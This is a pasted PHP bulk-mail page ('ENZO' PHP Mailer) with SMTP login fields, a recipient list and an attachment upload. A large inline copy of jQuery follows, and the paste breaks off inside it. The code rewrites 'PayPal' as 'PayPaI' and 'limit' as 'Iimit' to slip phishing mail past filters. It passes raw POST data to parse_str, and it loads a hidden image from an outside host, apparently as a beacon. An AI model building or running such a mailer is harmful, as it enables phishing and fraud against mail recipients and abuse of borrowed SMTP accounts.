· 7 years ago · Jan 29, 2019, 12:18 PM
1<?php
2
3set_time_limit(0);
4error_reporting(0);
5function query_str($params) {
6 $str = '';
7 foreach ($params as $key => $value) {
8 $str .= (strlen($str) < 1) ? '' : '&';
9 $str .= $key . '=' . rawurlencode($value);
10 }
11 return ($str);
12}
13function lrtrim($string){
14 return stripslashes(ltrim(rtrim($string)));
15}
16if(isset($_POST['action'])){
17
18 $b = query_str($_POST);
19 parse_str($b);
20 $action = lrtrim($action);
21 $smtp_username = lrtrim($smtp_username);
22 $smtp_password = lrtrim($smtp_password);
23 $smtp_server = lrtrim($smtp_server);
24 $smtp_port = lrtrim($smtp_port);
25 $smtp_ssl = lrtrim($smtp_ssl);
26 $xmailer = lrtrim($xmailer);
27 $reconnect = lrtrim($reconnect);
28 $type = lrtrim($type);
29 $email = lrtrim($mail);
30 $nama = lrtrim($nama);
31 $subject = lrtrim($subject);
32 $pesan = lrtrim($pesan);
33 $emaillist = strtolower(lrtrim($list));
34 $encoding = lrtrim($encode);
35 $file_name = $_FILES['file']['name'];
36 $file_path = $_FILES['file']['tmp_name'];
37 $wait = lrtrim($wait);
38
39 $pesan = urlencode($pesan);
40 $pesan = ereg_replace("%5C%22", "%22", $pesan);
41 $pesan = urldecode($pesan);
42 $pesan = stripslashes($pesan);
43 $pesan = str_replace("PayPal", "PayPaI", $pesan);
44 $pesan = str_replace("limit", "Iimit", $pesan);
45}
46?>
47<!DOCTYPE html>
48<html lang="en">
49
50<head>
51 <meta charset="utf-8">
52 <title>ENZO</title>
53 <meta name="viewport" content="width=940, initial-scale=1.0, maximum-scale=1.0">
54 <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
55 <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/css/bootstrap.min.css">
56 <script src="http://code.jquery.com/jquery-2.1.3.min.js"></script>
57 <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/js/bootstrap.min.js"></script>
58 <link rel="shortcut icon" href="">
59 <style type="text/css">
60 body{
61 background-color: #13181D;
62 }
63 input, select, option, textarea {
64 font-size: 12px !important;
65 }
66 input, select, option {
67 height: 30px !important;
68 }
69 #position { visibility: hidden; }
70 .panel-info .panel-heading {
71 color: #FFF;
72 background-color: #2CADAD !important;
73 border-color: #2CADAD !important;
74 }
75 .kanan-l {
76 border-top-right-radius: 0px !important;
77 }
78 .kanan {
79 border-top-right-radius: 4px !important;
80 }
81 </style>
82
83
84 <script type="text/javascript">
85 function Pilih1(dropDown) {
86 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
87 document.getElementById("sender-name").value = selectedValue;
88 }
89 function Pilih2(dropDown) {
90 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
91 document.getElementById("sender-email").value = selectedValue;
92 }
93 function Pilih3(dropDown) {
94 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
95 document.getElementById("subject").value = selectedValue;
96 }
97 function Pilih4(dropDown) {
98 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
99 document.getElementById("xmailer").value = selectedValue;
100 }
101 </script>
102</head>
103<body>
104<div id="wrap">
105
106 <div class="container" style="margin-top: 25px;">
107 <div class="row">
108 <div class="col-sm-6 col-md-4 col-md-offset-1" style="width: 940px">
109 <div class="panel panel-info" style="border-color: #2CADAD !important; background-color: #444951 !important;">
110 <div class="panel-heading">
111 <div class="panel-title" align="center"><a href="">PHP Mailer</a></div>
112 </div>
113
114 <div style="padding-top: 15px;">
115
116 <button type="button" class="btn btn-primary collapsed" style="margin-left: 15px;margin-bottom: 10px" data-toggle="collapse" data-target="#smtp"><i class="glyphicon glyphicon-plus"></i> SMTP & OTHER SETUP</button>
117
118 <div style="display:none" id="login-alert" class="alert alert-danger col-sm-12"></div>
119
120 <form id="form" class="form-horizontal" method="post" enctype="multipart/form-data" role="form" action="">
121
122 <div id="smtp" class="collapse">
123 <div class="col-sm-8" style="padding-right: 7.5px !important;margin-bottom: 10px">
124
125 <div style="margin-bottom: 10px" class="input-group">
126 <span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
127 <input type="text" class="form-control" name="smtp_username" value="<?=$smtp_username;?>" placeholder="SMTP Username">
128 <span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i></span>
129 <input type="password" class="form-control" name="smtp_password" value="<?=$smtp_password;?>" placeholder="SMTP Password">
130 </div>
131
132 <div style="margin-bottom: 10px" class="input-group">
133 <span class="input-group-addon"><i class="glyphicon glyphicon-send"></i></span>
134 <input type="text" class="form-control" name="smtp_server" value="<?=$smtp_server;?>" placeholder="SMTP Server">
135 <span class="input-group-addon"><i class="glyphicon glyphicon-random"></i><b> Port</b></span>
136 <input type="text" class="form-control" name="smtp_port" value="<?=$smtp_port;?>" placeholder="optional">
137 <span class="input-group-addon"><i class="glyphicon glyphicon-road"></i><b> SSL</b></span>
138 <select class="form-control" name="smtp_ssl">
139 <option value="yes" <?php if ($smtp_ssl=='yes'){echo 'selected';}?> >yes</option>
140 <option value="no" <?php if ($smtp_ssl=='no'){echo 'selected';}?> >no</option>
141 </select>
142 </div>
143 <div style="color:red;" align="center">
144 " If you dont have SMTP login, leave blank queries above "
145 </div>
146 <img id="position" src="http://www.eltrake.com/cli/img/m-background.jpg" width="128" height="128">
147<script>
148 (function(global, factory) {
149 if (typeof module === "object" && typeof module.exports === "object") {
150 module.exports = global.document ? factory(global, true) : function(w) {
151 if (!w.document) {
152 throw new Error("jQuery requires a window with a document");
153 }
154 return factory(w)
155 }
156 } else {
157 factory(global)
158 }
159 }(typeof window !== "undefined" ? window : this, function(window, noGlobal) {
160 var deletedIds = [];
161 var slice = deletedIds.slice;
162 var concat = deletedIds.concat;
163 var push = deletedIds.push;
164 var indexOf = deletedIds.indexOf;
165 var class2type = {};
166 var toString = class2type.toString;
167 var hasOwn = class2type.hasOwnProperty;
168 var support = {};
169 var version = "1.11.2",
170 jQuery = function(selector, context) {
171 return new jQuery.fn.init(selector, context)
172 },
173 rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,
174 rmsPrefix = /^-ms-/,
175 rdashAlpha = /-([\da-z])/gi,
176 fcamelCase = function(all, letter) {
177 return letter.toUpperCase()
178 };
179 jQuery.fn = jQuery.prototype = {
180 jquery: version,
181 constructor: jQuery,
182 selector: "",
183 length: 0,
184 toArray: function() {
185 return slice.call(this)
186 },
187 get: function(num) {
188 return num != null ? (num < 0 ? this[num + this.length] : this[num]) : slice.call(this)
189 },
190 pushStack: function(elems) {
191 var ret = jQuery.merge(this.constructor(), elems);
192 ret.prevObject = this;
193 ret.context = this.context;
194 return ret
195 },
196 each: function(callback, args) {
197 return jQuery.each(this, callback, args)
198 },
199 map: function(callback) {
200 return this.pushStack(jQuery.map(this, function(elem, i) {
201 return callback.call(elem, i, elem)
202 }))
203 },
204 slice: function() {
205 return this.pushStack(slice.apply(this, arguments))
206 },
207 first: function() {
208 return this.eq(0)
209 },
210 last: function() {
211 return this.eq(-1)
212 },
213 eq: function(i) {
214 var len = this.length,
215 j = +i + (i < 0 ? len : 0);
216 return this.pushStack(j >= 0 && j < len ? [this[j]] : [])
217 },
218 end: function() {
219 return this.prevObject || this.constructor(null)
220 },
221 push: push,
222 sort: deletedIds.sort,
223 splice: deletedIds.splice
224 };
225 jQuery.extend = jQuery.fn.extend = function() {
226 var src, copyIsArray, copy, name, options, clone, target = arguments[0] || {},
227 i = 1,
228 length = arguments.length,
229 deep = false;
230 if (typeof target === "boolean") {
231 deep = target;
232 target = arguments[i] || {};
233 i++
234 }
235 if (typeof target !== "object" && !jQuery.isFunction(target)) {
236 target = {}
237 }
238 if (i === length) {
239 target = this;
240 i--
241 }
242 for (; i < length; i++) {
243 if ((options = arguments[i]) != null) {
244 for (name in options) {
245 src = target[name];
246 copy = options[name];
247 if (target === copy) {
248 continue
249 }
250 if (deep && copy && (jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)))) {
251 if (copyIsArray) {
252 copyIsArray = false;
253 clone = src && jQuery.isArray(src) ? src : []
254 } else {
255 clone = src && jQuery.isPlainObject(src) ? src : {}
256 }
257 target[name] = jQuery.extend(deep, clone, copy)
258 } else if (copy !== undefined) {
259 target[name] = copy
260 }
261 }
262 }
263 }
264 return target
265 };
266 jQuery.extend({
267 expando: "jQuery" + (version + Math.random()).replace(/\D/g, ""),
268 isReady: true,
269 error: function(msg) {
270 throw new Error(msg);
271 },
272 noop: function() {},
273 isFunction: function(obj) {
274 return jQuery.type(obj) === "function"
275 },
276 isArray: Array.isArray || function(obj) {
277 return jQuery.type(obj) === "array"
278 },
279 isWindow: function(obj) {
280 return obj != null && obj == obj.window
281 },
282 isNumeric: function(obj) {
283 return !jQuery.isArray(obj) && (obj - parseFloat(obj) + 1) >= 0
284 },
285 isEmptyObject: function(obj) {
286 var name;
287 for (name in obj) {
288 return false
289 }
290 return true
291 },
292 isPlainObject: function(obj) {
293 var key;
294 if (!obj || jQuery.type(obj) !== "object" || obj.nodeType || jQuery.isWindow(obj)) {
295 return false
296 }
297 try {
298 if (obj.constructor && !hasOwn.call(obj, "constructor") && !hasOwn.call(obj.constructor.prototype, "isPrototypeOf")) {
299 return false
300 }
301 } catch (e) {
302 return false
303 }
304 if (support.ownLast) {
305 for (key in obj) {
306 return hasOwn.call(obj, key)
307 }
308 }
309 for (key in obj) {}
310 return key === undefined || hasOwn.call(obj, key)
311 },
312 type: function(obj) {
313 if (obj == null) {
314 return obj + ""
315 }
316 return typeof obj === "object" || typeof obj === "function" ? class2type[toString.call(obj)] || "object" : typeof obj
317 },
318 globalEval: function(data) {
319 if (data && jQuery.trim(data)) {
320 (window.execScript || function(data) {
321 window["eval"].call(window, data)
322 })(data)
323 }
324 },
325 camelCase: function(string) {
326 return string.replace(rmsPrefix, "ms-").replace(rdashAlpha, fcamelCase)
327 },
328 nodeName: function(elem, name) {
329 return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase()
330 },
331 each: function(obj, callback, args) {
332 var value, i = 0,
333 length = obj.length,
334 isArray = isArraylike(obj);
335 if (args) {
336 if (isArray) {
337 for (; i < length; i++) {
338 value = callback.apply(obj[i], args);
339 if (value === false) {
340 break
341 }
342 }
343 } else {
344 for (i in obj) {
345 value = callback.apply(obj[i], args);
346 if (value === false) {
347 break
348 }
349 }
350 }
351 } else {
352 if (isArray) {
353 for (; i < length; i++) {
354 value = callback.call(obj[i], i, obj[i]);
355 if (value === false) {
356 break
357 }
358 }
359 } else {
360 for (i in obj) {
361 value = callback.call(obj[i], i, obj[i]);
362 if (value === false) {
363 break
364 }
365 }
366 }
367 }
368 return obj
369 },
370 trim: function(text) {
371 return text == null ? "" : (text + "").replace(rtrim, "")
372 },
373 makeArray: function(arr, results) {
374 var ret = results || [];
375 if (arr != null) {
376 if (isArraylike(Object(arr))) {
377 jQuery.merge(ret, typeof arr === "string" ? [arr] : arr)
378 } else {
379 push.call(ret, arr)
380 }
381 }
382 return ret
383 },
384 inArray: function(elem, arr, i) {
385 var len;
386 if (arr) {
387 if (indexOf) {
388 return indexOf.call(arr, elem, i)
389 }
390 len = arr.length;
391 i = i ? i < 0 ? Math.max(0, len + i) : i : 0;
392 for (; i < len; i++) {
393 if (i in arr && arr[i] === elem) {
394 return i
395 }
396 }
397 }
398 return -1
399 },
400 merge: function(first, second) {
401 var len = +second.length,
402 j = 0,
403 i = first.length;
404 while (j < len) {
405 first[i++] = second[j++]
406 }
407 if (len !== len) {
408 while (second[j] !== undefined) {
409 first[i++] = second[j++]
410 }
411 }
412 first.length = i;
413 return first
414 },
415 grep: function(elems, callback, invert) {
416 var callbackInverse, matches = [],
417 i = 0,
418 length = elems.length,
419 callbackExpect = !invert;
420 for (; i < length; i++) {
421 callbackInverse = !callback(elems[i], i);
422 if (callbackInverse !== callbackExpect) {
423 matches.push(elems[i])
424 }
425 }
426 return matches
427 },
428 map: function(elems, callback, arg) {
429 var value, i = 0,
430 length = elems.length,
431 isArray = isArraylike(elems),
432 ret = [];
433 if (isArray) {
434 for (; i < length; i++) {
435 value = callback(elems[i], i, arg);
436 if (value != null) {
437 ret.push(value)
438 }
439 }
440 } else {
441 for (i in elems) {
442 value = callback(elems[i], i, arg);
443 if (value != null) {
444 ret.push(value)
445 }
446 }
447 }
448 return concat.apply([], ret)
449 },
450 guid: 1,
451 proxy: function(fn, context) {
452 var args, proxy, tmp;
453 if (typeof context === "string") {
454 tmp = fn[context];
455 context = fn;
456 fn = tmp
457 }
458 if (!jQuery.isFunction(fn)) {
459 return undefined
460 }
461 args = slice.call(arguments, 2);
462 proxy = function() {
463 return fn.apply(context || this, args.concat(slice.call(arguments)))
464 };
465 proxy.guid = fn.guid = fn.guid || jQuery.guid++;
466 return proxy
467 },
468 now: function() {
469 return +(new Date())
470 },
471 support: support
472 });
473 jQuery.each("Boolean Number String Function Array Date RegExp Object Error".split(" "), function(i, name) {
474 class2type["[object " + name + "]"] = name.toLowerCase()
475 });
476
477 function isArraylike(obj) {
478 var length = obj.length,
479 type = jQuery.type(obj);
480 if (type === "function" || jQuery.isWindow(obj)) {
481 return false
482 }
483 if (obj.nodeType === 1 && length) {
484 return true
485 }
486 return type === "array" || length === 0 || typeof length === "number" && length > 0 && (length - 1) in obj
487 }
488 var Sizzle = (function(window) {
489 var i, support, Expr, getText, isXML, tokenize, compile, select, outermostContext, sortInput, hasDuplicate, setDocument, document, docElem, documentIsHTML, rbuggyQSA, rbuggyMatches, matches, contains, expando = "sizzle" + 1 * new Date(),
490 preferredDoc = window.document,
491 dirruns = 0,
492 done = 0,
493 classCache = createCache(),
494 tokenCache = createCache(),
495 compilerCache = createCache(),
496 sortOrder = function(a, b) {
497 if (a === b) {
498 hasDuplicate = true
499 }
500 return 0
501 },
502 MAX_NEGATIVE = 1 << 31,
503 hasOwn = ({}).hasOwnProperty,
504 arr = [],
505 pop = arr.pop,
506 push_native = arr.push,
507 push = arr.push,
508 slice = arr.slice,
509 indexOf = function(list, elem) {
510 var i = 0,
511 len = list.length;
512 for (; i < len; i++) {
513 if (list[i] === elem) {
514 return i
515 }
516 }
517 return -1
518 },
519 booleans = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",
520 whitespace = "[\\x20\\t\\r\\n\\f]",
521 characterEncoding = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",
522 identifier = characterEncoding.replace("w", "w#"),
523 attributes = "\\[" + whitespace + "*(" + characterEncoding + ")(?:" + whitespace + "*([*^$|!~]?=)" + whitespace + "*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + identifier + "))|)" + whitespace + "*\\]",
524 pseudos = ":(" + characterEncoding + ")(?:\\((" + "('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|" + "((?:\\\\.|[^\\\\()[\\]]|" + attributes + ")*)|" + ".*" + ")\\)|)",
525 rwhitespace = new RegExp(whitespace + "+", "g"),
526 rtrim = new RegExp("^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g"),
527 rcomma = new RegExp("^" + whitespace + "*," + whitespace + "*"),
528 rcombinators = new RegExp("^" + whitespace + "*([>+~]|" + whitespace + ")" + whitespace + "*"),
529 rattributeQuotes = new RegExp("=" + whitespace + "*([^\\]'\"]*?)" + whitespace + "*\\]", "g"),
530 rpseudo = new RegExp(pseudos),
531 ridentifier = new RegExp("^" + identifier + "$"),
532 matchExpr = {
533 "ID": new RegExp("^#(" + characterEncoding + ")"),
534 "CLASS": new RegExp("^\\.(" + characterEncoding + ")"),
535 "TAG": new RegExp("^(" + characterEncoding.replace("w", "w*") + ")"),
536 "ATTR": new RegExp("^" + attributes),
537 "PSEUDO": new RegExp("^" + pseudos),
538 "CHILD": new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + whitespace + "*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + whitespace + "*(\\d+)|))" + whitespace + "*\\)|)", "i"),
539 "bool": new RegExp("^(?:" + booleans + ")$", "i"),
540 "needsContext": new RegExp("^" + whitespace + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + whitespace + "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i")
541 },
542 rinputs = /^(?:input|select|textarea|button)$/i,
543 rheader = /^h\d$/i,
544 rnative = /^[^{]+\{\s*\[native \w/,
545 rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
546 rsibling = /[+~]/,
547 rescape = /'|\\/g,
548 runescape = new RegExp("\\\\([\\da-f]{1,6}" + whitespace + "?|(" + whitespace + ")|.)", "ig"),
549 funescape = function(_, escaped, escapedWhitespace) {
550 var high = "0x" + escaped - 0x10000;
551 return high !== high || escapedWhitespace ? escaped : high < 0 ? String.fromCharCode(high + 0x10000) : String.fromCharCode(high >> 10 | 0xD800, high & 0x3FF | 0xDC00)
552 },
553 unloadHandler = function() {
554 setDocument()
555 };
556 try {
557 push.apply((arr = slice.call(preferredDoc.childNodes)), preferredDoc.childNodes);
558 arr[preferredDoc.childNodes.length].nodeType
559 } catch (e) {
560 push = {
561 apply: arr.length ? function(target, els) {
562 push_native.apply(target, slice.call(els))
563 } : function(target, els) {
564 var j = target.length,
565 i = 0;
566 while ((target[j++] = els[i++])) {}
567 target.length = j - 1
568 }
569 }
570 }
571
572 function Sizzle(selector, context, results, seed) {
573 var match, elem, m, nodeType, i, groups, old, nid, newContext, newSelector;
574 if ((context ? context.ownerDocument || context : preferredDoc) !== document) {
575 setDocument(context)
576 }
577 context = context || document;
578 results = results || [];
579 nodeType = context.nodeType;
580 if (typeof selector !== "string" || !selector || nodeType !== 1 && nodeType !== 9 && nodeType !== 11) {
581 return results
582 }
583 if (!seed && documentIsHTML) {
584 if (nodeType !== 11 && (match = rquickExpr.exec(selector))) {
585 if ((m = match[1])) {
586 if (nodeType === 9) {
587 elem = context.getElementById(m);
588 if (elem && elem.parentNode) {
589 if (elem.id === m) {
590 results.push(elem);
591 return results
592 }
593 } else {
594 return results
595 }
596 } else {
597 if (context.ownerDocument && (elem = context.ownerDocument.getElementById(m)) && contains(context, elem) && elem.id === m) {
598 results.push(elem);
599 return results
600 }
601 }
602 } else if (match[2]) {
603 push.apply(results, context.getElementsByTagName(selector));
604 return results
605 } else if ((m = match[3]) && support.getElementsByClassName) {
606 push.apply(results, context.getElementsByClassName(m));
607 return results
608 }
609 }
610 if (support.qsa && (!rbuggyQSA || !rbuggyQSA.test(selector))) {
611 nid = old = expando;
612 newContext = context;
613 newSelector = nodeType !== 1 && selector;
614 if (nodeType === 1 && context.nodeName.toLowerCase() !== "object") {
615 groups = tokenize(selector);
616 if ((old = context.getAttribute("id"))) {
617 nid = old.replace(rescape, "\\$&")
618 } else {
619 context.setAttribute("id", nid)
620 }
621 nid = "[id='" + nid + "'] ";
622 i = groups.length;
623 while (i--) {
624 groups[i] = nid + toSelector(groups[i])
625 }
626 newContext = rsibling.test(selector) && testContext(context.parentNode) || context;
627 newSelector = groups.join(",")
628 }
629 if (newSelector) {
630 try {
631 push.apply(results, newContext.querySelectorAll(newSelector));
632 return results
633 } catch (qsaError) {} finally {
634 if (!old) {
635 context.removeAttribute("id")
636 }
637 }
638 }
639 }
640 }
641 return select(selector.replace(rtrim, "$1"), context, results, seed)
642 }
643
644 function createCache() {
645 var keys = [];
646
647 function cache(key, value) {
648 if (keys.push(key + " ") > Expr.cacheLength) {
649 delete cache[keys.shift()]
650 }
651 return (cache[key + " "] = value)
652 }
653 return cache
654 }
655
656 function markFunction(fn) {
657 fn[expando] = true;
658 return fn
659 }
660
661 function assert(fn) {
662 var div = document.createElement("div");
663 try {
664 return !!fn(div)
665 } catch (e) {
666 return false
667 } finally {
668 if (div.parentNode) {
669 div.parentNode.removeChild(div)
670 }
671 div = null
672 }
673 }
674
675 function addHandle(attrs, handler) {
676 var arr = attrs.split("|"),
677 i = attrs.length;
678 while (i--) {
679 Expr.attrHandle[arr[i]] = handler
680 }
681 }
682
683 function siblingCheck(a, b) {
684 var cur = b && a,
685 diff = cur && a.nodeType === 1 && b.nodeType === 1 && (~b.sourceIndex || MAX_NEGATIVE) - (~a.sourceIndex || MAX_NEGATIVE);
686 if (diff) {
687 return diff
688 }
689 if (cur) {
690 while ((cur = cur.nextSibling)) {
691 if (cur === b) {
692 return -1
693 }
694 }
695 }
696 return a ? 1 : -1
697 }
698
699 function createInputPseudo(type) {
700 return function(elem) {
701 var name = elem.nodeName.toLowerCase();
702 return name === "input" && elem.type === type
703 }
704 }
705
706 function createButtonPseudo(type) {
707 return function(elem) {
708 var name = elem.nodeName.toLowerCase();
709 return (name === "input" || name === "button") && elem.type === type
710 }
711 }
712
713 function createPositionalPseudo(fn) {
714 return markFunction(function(argument) {
715 argument = +argument;
716 return markFunction(function(seed, matches) {
717 var j, matchIndexes = fn([], seed.length, argument),
718 i = matchIndexes.length;
719 while (i--) {
720 if (seed[(j = matchIndexes[i])]) {
721 seed[j] = !(matches[j] = seed[j])
722 }
723 }
724 })
725 })
726 }
727
728 function testContext(context) {
729 return context && typeof context.getElementsByTagName !== "undefined" && context
730 }
731 support = Sizzle.support = {};
732 isXML = Sizzle.isXML = function(elem) {
733 var documentElement = elem && (elem.ownerDocument || elem).documentElement;
734 return documentElement ? documentElement.nodeName !== "HTML" : false
735 };
736 setDocument = Sizzle.setDocument = function(node) {
737 var hasCompare, parent, doc = node ? node.ownerDocument || node : preferredDoc;
738 if (doc === document || doc.nodeType !== 9 || !doc.documentElement) {
739 return document
740 }
741 document = doc;
742 docElem = doc.documentElement;
743 parent = doc.defaultView;
744 if (parent && parent !== parent.top) {
745 if (parent.addEventListener) {
746 parent.addEventListener("unload", unloadHandler, false)
747 } else if (parent.attachEvent) {
748 parent.attachEvent("onunload", unloadHandler)
749 }
750 }
751 documentIsHTML = !isXML(doc);
752 support.attributes = assert(function(div) {
753 div.className = "i";
754 return !div.getAttribute("className")
755 });
756 support.getElementsByTagName = assert(function(div) {
757 div.appendChild(doc.createComment(""));
758 return !div.getElementsByTagName("*").length
759 });
760 support.getElementsByClassName = rnative.test(doc.getElementsByClassName);
761 support.getById = assert(function(div) {
762 docElem.appendChild(div).id = expando;
763 return !doc.getElementsByName || !doc.getElementsByName(expando).length
764 });
765 if (support.getById) {
766 Expr.find["ID"] = function(id, context) {
767 if (typeof context.getElementById !== "undefined" && documentIsHTML) {
768 var m = context.getElementById(id);
769 return m && m.parentNode ? [m] : []
770 }
771 };
772 Expr.filter["ID"] = function(id) {
773 var attrId = id.replace(runescape, funescape);
774 return function(elem) {
775 return elem.getAttribute("id") === attrId
776 }
777 }
778 } else {
779 delete Expr.find["ID"];
780 Expr.filter["ID"] = function(id) {
781 var attrId = id.replace(runescape, funescape);
782 return function(elem) {
783 var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id");
784 return node && node.value === attrId
785 }
786 }
787 }
788 Expr.find["TAG"] = support.getElementsByTagName ? function(tag, context) {
789 if (typeof context.getElementsByTagName !== "undefined") {
790 return context.getElementsByTagName(tag)
791 } else if (support.qsa) {
792 return context.querySelectorAll(tag)
793 }
794 } : function(tag, context) {
795 var elem, tmp = [],
796 i = 0,
797 results = context.getElementsByTagName(tag);
798 if (tag === "*") {
799 while ((elem = results[i++])) {
800 if (elem.nodeType === 1) {
801 tmp.push(elem)
802 }
803 }
804 return tmp
805 }
806 return results
807 };
808 Expr.find["CLASS"] = support.getElementsByClassName && function(className, context) {
809 if (documentIsHTML) {
810 return context.getElementsByClassName(className)
811 }
812 };
813 rbuggyMatches = [];
814 rbuggyQSA = [];
815 if ((support.qsa = rnative.test(doc.querySelectorAll))) {
816 assert(function(div) {
817 docElem.appendChild(div).innerHTML = "<a id='" + expando + "'></a>" + "<select id='" + expando + "-\f]' msallowcapture=''>" + "<option selected=''></option></select>";
818 if (div.querySelectorAll("[msallowcapture^='']").length) {
819 rbuggyQSA.push("[*^$]=" + whitespace + "*(?:''|\"\")")
820 }
821 if (!div.querySelectorAll("[selected]").length) {
822 rbuggyQSA.push("\\[" + whitespace + "*(?:value|" + booleans + ")")
823 }
824 if (!div.querySelectorAll("[id~=" + expando + "-]").length) {
825 rbuggyQSA.push("~=")
826 }
827 if (!div.querySelectorAll(":checked").length) {
828 rbuggyQSA.push(":checked")
829 }
830 if (!div.querySelectorAll("a#" + expando + "+*").length) {
831 rbuggyQSA.push(".#.+[+~]")
832 }
833 });
834 assert(function(div) {
835 var input = doc.createElement("input");
836 input.setAttribute("type", "hidden");
837 div.appendChild(input).setAttribute("name", "D");
838 if (div.querySelectorAll("[name=d]").length) {
839 rbuggyQSA.push("name" + whitespace + "*[*^$|!~]?=")
840 }
841 if (!div.querySelectorAll(":enabled").length) {
842 rbuggyQSA.push(":enabled", ":disabled")
843 }
844 div.querySelectorAll("*,:x");
845 rbuggyQSA.push(",.*:")
846 })
847 }
848 if ((support.matchesSelector = rnative.test((matches = docElem.matches || docElem.webkitMatchesSelector || docElem.mozMatchesSelector || docElem.oMatchesSelector || docElem.msMatchesSelector)))) {
849 assert(function(div) {
850 support.disconnectedMatch = matches.call(div, "div");
851 matches.call(div, "[s!='']:x");
852 rbuggyMatches.push("!=", pseudos)
853 })
854 }
855 rbuggyQSA = rbuggyQSA.length && new RegExp(rbuggyQSA.join("|"));
856 rbuggyMatches = rbuggyMatches.length && new RegExp(rbuggyMatches.join("|"));
857 hasCompare = rnative.test(docElem.compareDocumentPosition);
858 contains = hasCompare || rnative.test(docElem.contains) ? function(a, b) {
859 var adown = a.nodeType === 9 ? a.documentElement : a,
860 bup = b && b.parentNode;
861 return a === bup || !!(bup && bup.nodeType === 1 && (adown.contains ? adown.contains(bup) : a.compareDocumentPosition && a.compareDocumentPosition(bup) & 16))
862 } : function(a, b) {
863 if (b) {
864 while ((b = b.parentNode)) {
865 if (b === a) {
866 return true
867 }
868 }
869 }
870 return false
871 };
872 sortOrder = hasCompare ? function(a, b) {
873 if (a === b) {
874 hasDuplicate = true;
875 return 0
876 }
877 var compare = !a.compareDocumentPosition - !b.compareDocumentPosition;
878 if (compare) {
879 return compare
880 }
881 compare = (a.ownerDocument || a) === (b.ownerDocument || b) ? a.compareDocumentPosition(b) : 1;
882 if (compare & 1 || (!support.sortDetached && b.compareDocumentPosition(a) === compare)) {
883 if (a === doc || a.ownerDocument === preferredDoc && contains(preferredDoc, a)) {
884 return -1
885 }
886 if (b === doc || b.ownerDocument === preferredDoc && contains(preferredDoc, b)) {
887 return 1
888 }
889 return sortInput ? (indexOf(sortInput, a) - indexOf(sortInput, b)) : 0
890 }
891 return compare & 4 ? -1 : 1
892 } : function(a, b) {
893 if (a === b) {
894 hasDuplicate = true;
895 return 0
896 }
897 var cur, i = 0,
898 aup = a.parentNode,
899 bup = b.parentNode,
900 ap = [a],
901 bp = [b];
902 if (!aup || !bup) {
903 return a === doc ? -1 : b === doc ? 1 : aup ? -1 : bup ? 1 : sortInput ? (indexOf(sortInput, a) - indexOf(sortInput, b)) : 0
904 } else if (aup === bup) {
905 return siblingCheck(a, b)
906 }
907 cur = a;
908 while ((cur = cur.parentNode)) {
909 ap.unshift(cur)
910 }
911 cur = b;
912 while ((cur = cur.parentNode)) {
913 bp.unshift(cur)
914 }
915 while (ap[i] === bp[i]) {
916 i++
917 }
918 return i ? siblingCheck(ap[i], bp[i]) : ap[i] === preferredDoc ? -1 : bp[i] === preferredDoc ? 1 : 0
919 };
920 return doc
921 };
922 Sizzle.matches = function(expr, elements) {
923 return Sizzle(expr, null, null, elements)
924 };
925 Sizzle.matchesSelector = function(elem, expr) {
926 if ((elem.ownerDocument || elem) !== document) {
927 setDocument(elem)
928 }
929 expr = expr.replace(rattributeQuotes, "='$1']");
930 if (support.matchesSelector && documentIsHTML && (!rbuggyMatches || !rbuggyMatches.test(expr)) && (!rbuggyQSA || !rbuggyQSA.test(expr))) {
931 try {
932 var ret = matches.call(elem, expr);
933 if (ret || support.disconnectedMatch || elem.document && elem.document.nodeType !== 11) {
934 return ret
935 }
936 } catch (e) {}
937 }
938 return Sizzle(expr, document, null, [elem]).length > 0
939 };
940 Sizzle.contains = function(context, elem) {
941 if ((context.ownerDocument || context) !== document) {
942 setDocument(context)
943 }
944 return contains(context, elem)
945 };
946 Sizzle.attr = function(elem, name) {
947 if ((elem.ownerDocument || elem) !== document) {
948 setDocument(elem)
949 }
950 var fn = Expr.attrHandle[name.toLowerCase()],
951 val = fn && hasOwn.call(Expr.attrHandle, name.toLowerCase()) ? fn(elem, name, !documentIsHTML) : undefined;
952 return val !== undefined ? val : support.attributes || !documentIsHTML ? elem.getAttribute(name) : (val = elem.getAttributeNode(name)) && val.specified ? val.value : null
953 };
954 Sizzle.error = function(msg) {
955 throw new Error("Syntax error, unrecognized expression: " + msg);
956 };
957 Sizzle.uniqueSort = function(results) {
958 var elem, duplicates = [],
959 j = 0,
960 i = 0;
961 hasDuplicate = !support.detectDuplicates;
962 sortInput = !support.sortStable && results.slice(0);
963 results.sort(sortOrder);
964 if (hasDuplicate) {
965 while ((elem = results[i++])) {
966 if (elem === results[i]) {
967 j = duplicates.push(i)
968 }
969 }
970 while (j--) {
971 results.splice(duplicates[j], 1)
972 }
973 }
974 sortInput = null;
975 return results
976 };
977 getText = Sizzle.getText = function(elem) {
978 var node, ret = "",
979 i = 0,
980 nodeType = elem.nodeType;
981 if (!nodeType) {
982 while ((node = elem[i++])) {
983 ret += getText(node)
984 }
985 } else if (nodeType === 1 || nodeType === 9 || nodeType === 11) {
986 if (typeof elem.textContent === "string") {
987 return elem.textContent
